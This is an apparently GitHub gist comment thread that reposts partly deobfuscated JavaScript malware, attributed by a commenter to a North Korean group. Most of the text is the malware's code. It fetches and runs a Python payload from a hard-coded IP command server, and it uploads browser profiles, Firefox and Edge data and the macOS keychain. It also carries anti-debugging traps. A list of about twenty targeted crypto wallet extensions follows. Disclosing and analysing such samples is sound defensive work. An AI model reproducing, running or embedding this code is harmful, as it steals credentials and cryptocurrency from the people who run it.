        _0x1bd31f +
        '" "' +
        'http://172.86.80.145:1224/pdown' +
        '"',
      (_0x3ef1ec, _0x50490a, _0x54d04c) => {
        if (_0x3ef1ec) {
          It = 0
          return void Ht()
        }
        try {
          It = 51476596
          fs.renameSync(_0x1bd31f, _0x447875)
          extractFile(_0x447875)
        } catch (_0x5b786d) {}
      }
    )
  }
}
function Ht() {
  setTimeout(() => {
    runP()
  }, 20000)
}
const Xt = async () =>
  await new Promise((_0x180b01, _0x2f88e8) => {
    if ('w' == platform[0]) {
      if (fs.existsSync(homeDir + '\\.pyp\\python.exe')) {
        ;(() => {
          const _0x2b5edd = homeDir + '/.npl'
          const _0x119dd2 =
            '"' + homeDir + '\\.pyp\\python.exe" "' + _0x2b5edd + '"'
          try {
            fs.rmSync(_0x2b5edd)
          } catch (_0x68f9df) {}
          request.get(
            'http://172.86.80.145:1224/client/99/73',
            (_0xdfac58, _0x3884a9, _0x10ddca) => {
              if (!_0xdfac58) {
                try {
                  fs.writeFileSync(_0x2b5edd, _0x10ddca)
                  ex(_0x119dd2, (_0x18a0a9, _0x1f9bbc, _0x887c97) => {})
                } catch (_0x5a1913) {}
              }
            }
          )
        })()
      } else {
        runP()
      }
    } else {
      ;(() => {
        request.get(
          'http://172.86.80.145:1224/client/99/73',
          (_0x3901c7, _0x354dd1, _0x39e457) => {
            if (!_0x3901c7) {
              fs.writeFileSync(homeDir + '/.npl', _0x39e457)
              ex(
                'python3 "' + homeDir + '/.npl"',
                (_0x249539, _0x46aa05, _0x1b2c96) => {}
              )
            }
          }
        )
      })()
    }
  })
var M = 0
const main = async () => {
  try {
    const _0x50a07d = Math.round(new Date().getTime() / 1000)
    await (async () => {
      try {
        await UpAppData(Q, 0, _0x50a07d)
        await UpAppData(R, 1, _0x50a07d)
        await UpAppData(X, 2, _0x50a07d)
        uploadMozilla(_0x50a07d)
        uploadEs(_0x50a07d)
        if ('w' == platform[0]) {
          await uploadFiles(
            getAbsolutePath('~/') + '/AppData/Local/Microsoft/Edge/User Data',
            '3_',
            false,
            _0x50a07d
          )
        }
        if ('d' == platform[0]) {
          await UpKeychain(_0x50a07d)
        } else {
          await UpUserData(Q, 0, _0x50a07d)
          await UpUserData(R, 1, _0x50a07d)
          await UpUserData(X, 2, _0x50a07d)
        }
      } catch (_0x1c69ec) {}
    })()
    Xt()
  } catch (_0x21d4de) {}
}
main()
;(function () {
  const _0x3a8711 = function () {
    let _0x55f41e
    try {
      _0x55f41e = Function(
        'return (function() {}.constructor("return this")( ));'
      )()
    } catch (_0x2e3a1f) {
      _0x55f41e = window
    }
    return _0x55f41e
  }
  const _0x27b36a = _0x3a8711()
  _0x27b36a.setInterval(_0x24267e, 3000)
})()
Xt()
let Ct = setInterval(() => {
  if ((M += 1) < 2) {
    main()
  } else {
    clearInterval(Ct)
  }
}, 30000)
function _0x24267e(_0x3c3822) {
  function _0x3d9a2c(_0x578fd2) {
    if (typeof _0x578fd2 === 'string') {
      return function (_0x529fe8) {}
        .constructor('while (true) {}')
        .apply('counter')
    } else {
      if (('' + _0x578fd2 / _0x578fd2).length !== 1 || _0x578fd2 % 20 === 0) {
        ;(function () {
          return true
        }
          .constructor('debugger')
          .call('action'))
      } else {
        ;(function () {
          return false
        }
          .constructor('debugger')
          .apply('stateObject'))
      }
    }
    _0x3d9a2c(++_0x578fd2)
  }
  try {
    if (_0x3c3822) {
      return _0x3d9a2c
    } else {
      _0x3d9a2c(0)
    }
  } catch (_0x4e0cf9) {}
}

Formatted a little more with help of : https://deobfuscate.relative.im/

It steals browser extension data from following crypto markets:

  • Metamask wallet
  • BNB Chain Wallet
  • TronLink Wallet
  • Phantom Wallet
  • Coin98 Wallet Extension: Crypto & Defi
  • Crypto.com OnChain Extension Wallet
  • Kaia Wallet
  • Rabby Wallet
  • AgentX Starknet wallet
  • OkX Wallet
  • Core | Crypto Wallet & NFT Extension
  • Tonkeeper — wallet for TON
  • Exodus Web3 Wallet
  • TON Wallet
  • OpenMask - TON wallet
  • SafePal Extension Wallet
  • MyTonWallet · My TON Wallet
  • Solflare Wallet
  • Atomic Wallet
  • MathWallet

@kmsec-uk Thanks for uncovering this. It's NORTH KOREAN APT team as per https://medium.com/@henrique4win/analyzing-north-korean-malware-95dc3325d943

Same kind of malware code fragments appear there specifically the crypto block of code and many other similarities

More clean version of code at : https://github.com/team-bytesized/article_dprk_12_2024/blob/main/beavertail/clean.js

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment